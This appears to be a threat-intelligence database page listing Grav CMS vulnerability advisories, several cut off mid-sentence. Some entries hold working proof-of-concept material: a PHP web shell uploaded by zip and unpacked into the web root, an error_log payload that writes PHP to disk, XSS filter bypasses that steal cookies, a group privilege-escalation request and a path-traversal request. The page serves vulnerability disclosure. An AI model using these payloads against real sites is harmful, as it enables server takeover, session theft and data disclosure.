Threat Intelligence Database
Comprehensive database of the latest cyber threats affecting organizations worldwide. Filter and search to find specific threat intelligence relevant to your organization.
Stop chasing alerts. Route them.
Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.
Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)
API access activates after upgrading in Console -> Billing.
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
Filter Threats
Narrow down the results by type, severity, or affected countries
Threat Intelligence
Click on any threat for detailed analysis and mitigation recommendations
0 Grav is a flat-file CMS. In versions 2.0.19 through 2.0.24 — and in 2.0.0 through 2.0.18 and 1.7.x only where content Twig has been explicitly enabled — page content authored by a user holding only page-write permission is rendered through a Twig sandbox that allowlists get_cookie(), which returns any cookie sent with the current request, including the visitor's session cookie. Because the read occurs server-side via filter_input(INPUT_COOKIE, ...), the HttpOnly, Secure and SameSite attributes offer no protection. Grav then stores the finished post-Twig output in a page-content cache keyed only on page identity and the configuration checksum, with no session, user or request dimension and no bypass for authenticated visitors. A page published by a page-write user can therefore capture the session identifier of the next administrator who views it, after which the cached output serves that identifier to unauthenticated visitors, who can replay the cookie to authenticate as that administrator. Since 2.0.19, security.twig_content.process_enabled defaults to true and Security::applyTwigContentDefault() derives each page's process.twig flag from that gate, so content Twig runs on every page with no frontmatter or operator action. Fixed in 2.0.25; 1.7.x is outside the backport scope. Join the discussion | CVE Database V5 | 09/26/2026, 13:23:35 UTC Added: 09/26/2026, 13:33:29 UTC |
Grav CMS 2.0.14 through 2.0.24 contains a privilege escalation vulnerability in the group and account blueprints. The access map is gated by a `security@: admin.super` guard that is resolved by the field's exact path, so a submitted flat dot-notation key such as `access.admin.super` (instead of the nested `access[admin][super]`) matches no blueprint rule, survives BlueprintSchema::filterArray() and flattening, and is written by FlexObject::update() via setNestedProperty(), which splits on `.` and reconstructs the nested value. An authenticated backend operator using the flex accounts backend who holds admin.users but not admin.super can therefore grant admin.super to their own account or to a group they belong to and escalate to full super-admin, gaining control over configuration, plugin and theme installation, the file manager, and all accounts. Fixed in 2.0.25, which drops any dotted key whose ancestor path is disabled or marked validate.ignore. Join the discussion | CVE Database V5 | 09/26/2026, 13:23:34 UTC Added: 09/26/2026, 13:33:29 UTC |
Grav before 2.0.25 ships web server configuration samples whose access-control deny rules are matched case-sensitively. In webserver-configs/web.config (IIS), every deny rule (user_sensitive_folders, user_accounts, user_data, user_error_redirect, user_pages, system, vendor, ignore_folders) sets ignoreCase="false" on its URL Rewrite <match> element, overriding the IIS default of ignoreCase="true"; because these are rewrite matches rather than <requestFiltering> elements, there is no case-insensitive fallback. On IIS running over case-insensitive NTFS, an unauthenticated remote attacker can vary the case of a folder name or file extension (for example GET /user/CONFIG/system.YAML) so that no deny rule matches and the IIS static file handler resolves and returns the underlying file, disclosing sensitive data such as configuration secrets or account password hashes. Whether a bypassed file is actually returned depends on MIME registration: .json is served by default, while .yaml/.yml return HTTP 404.3 on a stock IIS unless a YAML MIME mapping has been added. The same class of gap exists in the bundled webserver-configs/lighttpd.conf, whose user/(config|env), directory, script-extension, root-file and dotfile rules lack the (?i) modifier, though it is lower risk because lighttpd typically runs on case-sensitive filesystems. Deployments served by Apache (.htaccess), nginx, Caddy, or the PHP built-in server are not affected. The issue is fixed in 2.0.25; because the .htaccess installer heal does not touch web.config or lighttpd.conf, operators must re-copy the corrected sample files after upgrading. Join the discussion | CVE Database V5 | 09/26/2026, 13:23:34 UTC Added: 09/26/2026, 13:33:29 UTC |
0 Grav 2.0.0 through 2.0.24 contain a Twig content sandbox escape. The `array` filter (and its identical function form) is on the sandbox allowlist but is registered without the needs_is_sandboxed guard that print_r, vardump, json_encode, yaml_encode and string carry, and its implementation calls toArray() — or falls back to an (array) cast — without consulting the sandbox method allowlist. Because the `grav` Twig global is the raw Pimple-based dependency injection container, a user who can author Twig in page content can evaluate `grav|array` to read the container's private $values array, including the un-redacted Config service; a second array cast returns the entire configuration tree, disclosing plugin credentials, SMTP and OAuth secrets, Redis passwords, proxy URLs and the security.* subtree that the sandbox's redaction is meant to hide. Because the payload is stored in page content, the disclosed configuration is rendered to anonymous visitors. Grav 1.7 is not affected as it has no Twig content sandbox. Fixed in Grav 2.0.25. Join the discussion | CVE Database V5 | 09/26/2026, 13:23:33 UTC Added: 09/26/2026, 13:33:29 UTC |
0 ### Summary A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs. ### Details The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable. The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address. Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server. ### PoC 1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below. 2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`. Zip the shell.php file with the php code mentioned below: ``` shell.php: <?php system($_GET['c']); ?> zip evil.zip shell.php ``` 3. Send the request (attach your Cookie and X-API-Token): ``` PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json { "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } ``` 4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token): ``` POST /api/v1/flex-objects/flex-objects Content-Type: application/json {"name": "x"} -> 201 ``` 5. Open the file that was written: ``` http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ... ``` ### Impact Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account. Join the discussion | CVE Database V5 | 09/17/2026, 20:45:57 UTC Added: 08/14/2026, 11:56:52 UTC |
## Summary The core Flex group blueprint `system/blueprints/user/group.yaml` (access field, lines 48-55) omits the `security@: admin.super` field guard that its sibling account blueprint carries (`account.yaml:131/138/150`, added by the CVE-2026-42613 fix). A delegated non-super operator holding `admin.users.update` can therefore save a group whose `access` map contains `admin.super: true`, which `UserGroupObject::authorize` then grants to every member of that group, a full privilege escalation to super-admin (scheduler/cron RCE, Twig eval). This is a distinct file, sink, and fix from all four related advisories. ## Root Cause The CVE-2026-42613 fix protected the account `access`/`groups` fields with a blueprint-level `security@: admin.super` gate, which `Blueprint::dynamicSecurity()` (`system/src/Grav/Common/Data/Blueprint.php:644-662`) uses to mark a field `validate.ignore=true` for non-super users so `BlueprintSchema::filterArray()` (`BlueprintSchema.php:263-311`) drops it. The functionally-identical group `access` field, a permission map granted to every member of the group, is declared in `system/blueprints/user/group.yaml:48-55` with `check_authorize: false` and NO `security@` guard. `check_authorize` has ZERO PHP enforcement (`grep -rn check_authorize` across the repo returns 0 PHP consumers; only two YAML blueprints reference it), so `security@` is the sole real control. Because the group access field lacks `security@`, `dynamicSecurity` never flags it, `filterArray` retains it, and `Validation::filterArray` (`type: array, value_type: bool`) passes the nested `admin.super:true` leaf through. The core save path (`FlexObject::update()` then `Framework/Flex/FlexObject.php:683` `$blueprint->filter($data,true,true)` then `save()`) persists it to `user://config/groups.yaml`. ## Impact A delegated `admin.users` operator (strictly below `admin.super`) escalates to super-admin, gaining the admin panel, the scheduler (cron to RCE) and Twig evaluation. Full read/write/DoS (C:H/I:H/A:H). Even absent self-escalation, arbitrary rewrite of ANY group's ACL is itself a full escalation primitive. ## Proof of Concept As a non-super `admin.users` operator who is a member of group `ops`: ``` POST /admin/accounts/groups/ops (or groups.json task:save) data[access][admin][super]=1 ``` `user/config/groups.yaml` gains `ops: { access: { admin: { super: true } } }`, so the operator is super-admin on the next request. ## Attack Chain 1. Entry: authenticated delegated admin (`admin.users.update`, no `admin.super`) POSTs the group-edit form for a group they belong to (or a new group), body `access[admin][super]=true`. Guard: `FlexAuthorizeTrait::isAuthorizedAction` to `admin.users.update`. Bypass proof: `user-groups.yaml` exposes groups at `admin.users:crudl`; operator legitimately holds update. 2. Check (field guard): `Blueprint::dynamicSecurity` marks `validate.ignore` only for `security@` fields. Guard: none on group access (no `security@`). Bypass proof: `group.yaml:48-55` has no `security@`; `git log -S 'security@' -- system/blueprints/user/group.yaml` is empty. 3. Filter: `BlueprintSchema::filterArray` retains the non-ignored field; `Validation::filterArray` (`value_type: bool`) passes `admin.super:true` through. Bypass proof: field not flagged ignore/disabled; nested bool leaf preserved. 4. Sink (persist): `FlexObject::update` then `filter` then `save` writes to `user://config/groups.yaml`. Guard: none. Bypass proof: value already survived steps 2/3; storage performs no ACL filtering. 5. Impact: any member request triggers `UserGroupObject::authorize('admin.super')` (`.../UserGroups/UserGroupObject.php:75`) returning true, so the member is super-admin, enabling scheduler/Twig RCE. ## Bypass Evidence - `system/blueprints/user/group.yaml:48-55`: access block with `check_authorize: false`, no `security@` (confirmed live on tag 2.0.12). - `git log -S 'security@' -- system/blueprints/user/group.yaml` is empty (guard never existed; a permanent gap, not a regression). - `git log 2.0.12..HEAD -- system/blueprints/user/group.yaml` is empty (no post-release fix). - `grep -rn check_authorize` (whole repo) returns 0 PHP hits (guard unenforced in PHP). - `grep -rn "typePermissions|filterPermissions" system/src/Grav/Common/Data` returns 0 (permissions map falls through to array-bool filtering that keeps nested keys). - Guard asymmetry: `account.yaml:131/138/150` carry `security@: admin.super`; `group.yaml` carries none. GHSA-h33v-82r9-v8pm's own text confirms the blueprint `security@` gate is the sole Flex-backend strip for these keys. ## Affected Versions `<= 2.0.12` (latest release; the guard never existed on `group.yaml`, so all 2.x are affected). The missing guard and the strip logic are both in core `getgrav/grav`; the group-edit UI is provided by the flex-objects/admin plugin, but the fix belongs in core. ## Suggested Fix Add `security@: admin.super` to the `access` field in `system/blueprints/user/group.yaml` (mirroring Join the discussion | CVE Database V5 | 09/17/2026, 20:45:15 UTC Added: 08/18/2026, 11:35:03 UTC |
0 ## Vulnerability Details **Component**: getgrav/grav core **File**: `system/src/Grav/Common/Security.php` **Function**: `detectXss()` (all six entries in the `$patterns` array use the PCRE `u` modifier), invoked from `Grav\Common\Data\Validation::checkSafety()` (the save-time XSS gate for any non-`security.xss_whitelist` account's blueprint field, including the page `content` field) and `detectXssInEditorContent()` (the render-time backstop for GHSA-2c4f-86xc-cr74) **CWE**: CWE-79 (Stored XSS), root-caused by CWE-20 (Improper Input Validation — fails open on malformed input) **Severity**: High **CVSS**: 8.0 — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N ### Relationship to prior advisories This project's `detectXss()`/`checkSafety()` stack has been patched at least three times for the "page editor without super-admin rights stores an event handler that runs for site visitors" bug class: GHSA-9695-8fr9-hw5q / GHSA-c2q3-p4jr-c55f / GHSA-w8cg-7jcj-4vv2 (unquoted-attribute bypasses), GHSA-269c-h76q-8cxw (quoted-attribute-boundary bypass), GHSA-2c4f-86xc-cr74 (render-time Twig-assembled bypass). All three patched the **regex logic**. This is a different, lower-level defect: the PHP regex *engine* silently refuses to evaluate the pattern at all once the input contains one invalid UTF-8 byte, independent of what the regex logic says — no amount of regex-logic hardening fixes this. ### Root Cause Every pattern in `$patterns` uses the PCRE `u` (UTF-8) modifier. PHP's documented behavior: if the subject string contains even one byte sequence that is not valid UTF-8, `preg_match()` does not "skip" that byte or report "no match" — it returns `false` for the **entire call**, with `preg_last_error() === PREG_BAD_UTF8_ERROR`. `detectXss()` only checks truthiness (`if (preg_match(...) || preg_match(...))`), so `false` and "0 matches" are indistinguishable to the calling code. A single stray byte anywhere in a field's value — not even near the actual payload — makes every one of the six checks silently report "no XSS found". Meanwhile, a real browser decoding the same bytes as UTF-8 (the encoding Grav serves pages as) does not fail open: it substitutes the invalid byte with one U+FFFD replacement character and renders the surrounding markup completely normally. The `<img ... onerror=...>` tag is untouched structurally; the payload still fires. ### Vulnerable Code ```php $patterns = [ 'on_events' => '#<(?:"[^"]*"|\'[^\']*\'|[^>"\'])*?(?:[\s\x00-\x20\"\'\/]|"[^"]*"|\'[^\']*\')on\s*[a-z]+\s*=#iu', // ... five more, all with the /u modifier ]; foreach ($patterns as $name => $regex) { if (!empty($enabled_rules[$name])) { if (preg_match($regex, (string) $string) || preg_match($regex, $orig)) { return $name; } // ... } } return null; // reached even when the string contains <img onerror=...>, // as long as it also contains one invalid UTF-8 byte anywhere ``` Directly reproducible against the exact regex: ```php $regex = '#<(?:"[^"]*"|\'[^\']*\'|[^>"\'])*?(?:[\s\x00-\x20\"\'\/]|"[^"]*"|\'[^\']*\')on\s*[a-z]+\s*=#iu'; var_dump(preg_match($regex, "<img src=x onerror=alert(1)>")); // int(1) -- caught var_dump(preg_match($regex, "<img src=x \x80onerror=alert(1)>")); // bool(false), preg_last_error()==4 ``` ### Attack Scenario 1. Attacker holds a page-edit ("publisher") account without super-admin rights. 2. Sets page content to `Hello world \x80<img src=x onerror=alert(document.cookie)>` (a raw invalid UTF-8 byte, deliverable via any non-JSON submission path — e.g. the bundled Form plugin's multipart/urlencoded field, or any blueprint-validated field populated from a raw POST body — `$_POST` values are not UTF-8-validated by PHP). 3. `Validation::checkSafety()` runs `detectXss()` on the value; every `preg_match()` call returns `false`, so `detectXss()` returns `null` ("no violation"). The payload saves unmodified. 4. Any visitor (including a super-admin browsing the public site) loads the page; the browser renders the intact `<img onerror=...>` element, executing the attacker's JavaScript in the visitor's session. ### Impact - **Type**: Stored XSS (CWE-79) - **Auth required**: Page-edit ("publisher") account, not super-admin - **Consequence**: Arbitrary JavaScript execution in any visitor's browser, including a super-admin who views the page — a cross-trust-boundary escalation from publisher to admin-equivalent action capability. ### Recommended Fix ```php public static function detectXss($string, ?array $options = null): ?string { if (null === $string || !is_string($string) || empty($string)) { return null; } // Fail closed: mb_check_encoding() validates the whole string up front // and returns a normal boolean — it never "fails open" the way a // /u-flagged preg_match() does on malformed input. if (!mb_check_encoding($string, 'UTF-8')) { return 'invalid_encoding'; } // ... rest unchanged } ``` `Va Join the discussion | CVE Database V5 | 09/17/2026, 20:44:39 UTC Added: 08/18/2026, 11:35:02 UTC |
0 ## Affected versions and vulnerable location - Confirmed on grav core at `78ebfc1` (tag 2.0.13). - Sinks: - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider). - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`. - Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`. - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`. - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`. - Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`). ## Root cause GHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes. `error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.) ## Attacker model The same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell. ## Reachability trace 1. Author a blueprint field with a bare-function data directive, e.g. `data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']`. 2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall('error_log', $params)` reaches the bare-function branch (`:530`), `isDangerousFunction('error_log')` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true. 3. `call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php'])` (`:455`) appends the PHP payload to `user/data/x.php`. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload. ## Reproduction Executed end to end against the real `Grav\Common\Data\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file: ```text [1] isSafeDynamicCall('error_log', [payload,3,dest]) => true # guard ACCEPTS error_log (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php']) file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/grav_rce_proof.php => PWNED # arbitrary PHP executed (RCE) ``` The guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation: ```bash rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php ``` `error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist. ## Suggested fix Convert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated. ## Severity and CVSS reasoning Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850). Suggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p. - `PR:L`: a blueprint/page-edit account, not super. - `C:H/I:H/A:H`: arbitrary file write leading to code execution. ## How I found it and a note on Join the discussion | CVE Database V5 | 09/17/2026, 20:44:16 UTC Added: 08/18/2026, 11:35:02 UTC |
0 ## Affected versions and vulnerable location - Confirmed on grav core at `78ebfc1` (tag 2.0.13). - Detector: `system/src/Grav/Common/Security.php:290`, the `on_events` regex, run via `patternMatches()` (`:315-330`). - The `on_events` pattern at HEAD: `#<(?:"[^"]*"|'[^']*'|[^>"'])*?(?:[\s\x00-\x20"'/]|"[^"]*"|'[^']*')on\s*[a-z]+\s*=#iu` - Sole save-time guard for non-super content: `Validation::checkSafety()` (`system/src/Grav/Common/Data/Validation.php:160` scalars, `:165` arrays), invoked per field from `BlueprintSchema::validate` -> `Validation::checkSafety` (`system/src/Grav/Common/Data/BlueprintSchema.php:248`). `security.xss_whitelist: [admin.super]` exempts only super-admins (`Validation.php:148`). ## Root cause (distinct from GHSA-269c) GHSA-269c hardened the tag-body scan to be quote-aware so a `>` inside a paired quoted attribute value is treated as data, not a tag close. That same quote-awareness opened a new gap: the regex treats ANY `"` or `'` as a string delimiter, but HTML only enters a quoted-value state when a quote appears immediately after `=`. A single unpaired quote sitting inside an unquoted attribute value is, to the browser, just a value character; to the regex it is an unterminated string that neither `[^>"']` nor `"[^"]*"` can consume, so the lazy tag-body scan cannot advance past it to reach the following ` on...=` handler. No alignment matches and `detectXss()` returns null. ## Proof (executed) The detector was replicated verbatim (the `on_events` regex plus `patternMatches`) with the shipped `system/config/security.yaml` defaults and run under PHP. Observed: ```text baseline <img src=x onerror=alert(1)> => blocked (on_events) GHSA-269c <img src=x title=">" onerror=alert(1)> => blocked (on_events) # prior fix works BYPASS A <img src=x" onerror=alert(1)> => PASSES (no XSS detected) BYPASS B <img title=x" onerror=alert(1)> => PASSES (no XSS detected) BYPASS C <a href=x" onmouseover=alert(1)>x</a> => PASSES (no XSS detected) BYPASS D <img src=x' onerror=alert(1)> => PASSES (no XSS detected) BYPASS E <div id=x" onmouseover=alert(1)>hover</div> => PASSES (no XSS detected) ``` Browser tokenization of `<img src=x" onerror=alert(1)>`: `src` takes the unquoted value `x"` (space ends it), `onerror` is parsed as a separate live attribute, `src` 404s and `onerror` fires. None of the other rules cover it: `img`/`a`/`div` are not in `xss_dangerous_tags`, there is no `javascript:`/`data:` scheme and no `style`/`url`/`expression`. ## Reachability `checkSafety()` is the only save-time XSS screen for a non-super editor. The pages blueprint validates `header.title` (`type: text`) and page `content` (markdown/textarea) with `xss_check` on, so a bare `onerror=` is rejected but the payload above is stored verbatim. Page content is emitted through `{{ page.content|raw }}` and raw inline HTML passes Parsedown by default (`markdown.escape_markup: false`), so the handler runs for every visitor. The same detector core also backs `Security::detectXssInEditorContent()` (the GHSA-2c4f render-time-Twig save gate; callers `Page.php:1359`, `Flex/Types/Pages/PageObject.php:194`), the `detectXssFromPages()` admin scanner (`Admin.php:2096`), and the `xss()` Twig function, so all of them report the payload clean. Auth required: an authenticated content editor with page/form edit rights but WITHOUT `admin.super`. ## Suggested fix Make the tag-body scan treat a quote as a delimiter only in the after-`=` position, or normalize unquoted attribute values before the handler scan, so an unpaired quote inside an unquoted value cannot mask a following `on...=`. A targeted addition: also flag ` on<name>=` sequences that appear after a lone unbalanced quote within the same tag. Because `detectXss()` is a denylist, consider additionally encoding `"`/`'` in stored non-super content, or defaulting `markdown.escape_markup: true` for non-super authors. ## Severity and CVSS reasoning Suggested severity: High (matches GHSA-269c and the other stored-XSS advisories in this codebase). Suggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (8.7). - `PR:L`: a non-super editor account. - `UI:R`: a visitor renders the page (for `onerror` the image simply loads/fails automatically). - `S:C/C:H/I:H`: script in the site origin against every visitor, including admins viewing the content. ## How I found it and a note on tooling I read `detectXss()` and reasoned about the difference between the HTML tokenizer's quoted-value state and the regex's string handling, then replicated the exact `on_events` pattern and `patternMatches()` with the shipped default config and ran the payloads to confirm the bypass and that the GHSA-269c payload is still blocked. I used AI assistance for the analysis and drafting and verified the detector behavior by execution. This is executed against a faithful replica of the detector with production config, not against a full running G Join the discussion | CVE Database V5 | 09/17/2026, 20:43:43 UTC Added: 08/18/2026, 11:35:02 UTC |
0 **Verified against:** `getgrav/grav` devel branch, `GRAV_VERSION = "2.0.15"`, file `index.php ## Title Unauthenticated Path Traversal via Missing Directory-Boundary Check in `plugin-asset-map.php` Static Asset Server (`index.php`) ## Product / Affected Versions - Product: `getgrav/grav` - File: `index.php` (top-level front controller, runs before Grav itself boots) - Confirmed present in: devel branch, 2.0.15 - **Precondition:** requires `user/config/plugin-asset-map.php` to exist and contain at least one route-prefix mapping ,this is an opt-in mechanism (per the code comment: "Fast static asset serving for plugins that bundle SPA apps"). No core mechanism generates this file automatically; it's created by a plugin that opts into this fast-path. **Not reachable on a stock Grav install with no such plugin.** Where reachable, it requires zero authentication. ## CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') , specific mechanism: a path-prefix containment check performed with plain string comparison (`str_starts_with`) instead of a directory-boundary-aware comparison, allowing escape into any sibling path whose name happens to extend the base directory's name as a string. ## Description `index.php` implements a fast-path static file server that runs *before* Grav's own routing/security stack, gated on the presence of an asset-map file: ```php $assetMapFile = __DIR__ . '/user/config/plugin-asset-map.php'; if (is_file($assetMapFile)) { $assetMap = require $assetMapFile; foreach ($assetMap as $routePrefix => $diskPath) { if (str_starts_with($path, $routePrefix)) { $relPath = substr($path, strlen($routePrefix)); $filePath = __DIR__ . '/' . ltrim($diskPath, '/') . $relPath; $realFile = realpath($filePath); $realBase = realpath(__DIR__ . '/' . ltrim($diskPath, '/')); if ($realFile && $realBase && str_starts_with($realFile, $realBase) && is_file($realFile)) { // ... serves $realFile directly, with Content-Type inferred from extension readfile($realFile); exit; } } } } ``` `realpath()` correctly resolves `..` sequences, so a naive `../../etc/passwd`-style traversal that leaves the filesystem entirely is blocked (it wouldn't share the `$realBase` string prefix). **But the containment check itself, `str_starts_with($realFile, $realBase)`, has no directory-boundary awareness** it's a plain string-prefix test, not "is `$realFile` inside the `$realBase` directory." Any resolved path whose string representation merely *begins with* the same characters as `$realBase` passes, including sibling directories that extend the base directory's name (`assets` → `assets-secret`, `assets.bak`, `assets_old`, `assets2`, etc.) a very common real-world directory-naming pattern (backup dirs, versioned dirs, disabled/legacy dirs sitting alongside the active one). ## Live Proof of Concept **Setup:** the exact code block above, extracted verbatim from `index.php`, executed with PHP 8.3.6 against a realistic directory layout (a plugin's active `assets/` dir sitting next to an unrelated `assets-secret/` dir containing a fake secret): ``` user/plugins/myplugin/assets/app.js <- intended, public user/plugins/myplugin/assets-secret/config.php <- NOT intended to be served user/config/plugin-asset-map.php: return ['/myplugin-assets' => 'user/plugins/myplugin/assets']; ``` **Legitimate request** (`/myplugin-assets/app.js`): ``` realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets/app.js' realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets' >>> WOULD SERVE FILE <<< >>> Content: public asset content ``` **Traversal request** (`/myplugin-assets/../assets-secret/config.php`): ``` realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets-secret/config.php' realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets' >>> WOULD SERVE FILE <<< >>> Content: SECRET_API_KEY=sk_live_totally_secret_12345 ``` `str_starts_with('.../assets-secret/config.php', '.../assets')` evaluates `true` because `assets-secret` literally begins with the characters `assets` there is no separator-boundary check (e.g. requiring `$realBase . '/'` as the actual prefix) to prevent this. ## Trust-boundary framing (per Grav's own SECURITY.md) This code path requires **no Grav account** , it runs before Grav even initializes, directly off the raw request path. Per Grav's own stated criteria: *"An unauthenticated attacker can achieve RCE, exfiltrate site data, or gain admin-equivalent control. No Grav account required"* → this matches the **CRITICAL** bar exactly, for any deployment where the `plugin-asset-map.php` mechanism is in active use. ## Suggested Fix Append a trailing directory separator before the prefix comparison, or use a proper containment check: ```php if ($realFile && $realBase && ( $realFile === $realBase || str_starts_with Join the discussion | CVE Database V5 | 09/17/2026, 20:43:16 UTC Added: 08/18/2026, 11:35:00 UTC |
Showing 1 to 10 of 92 results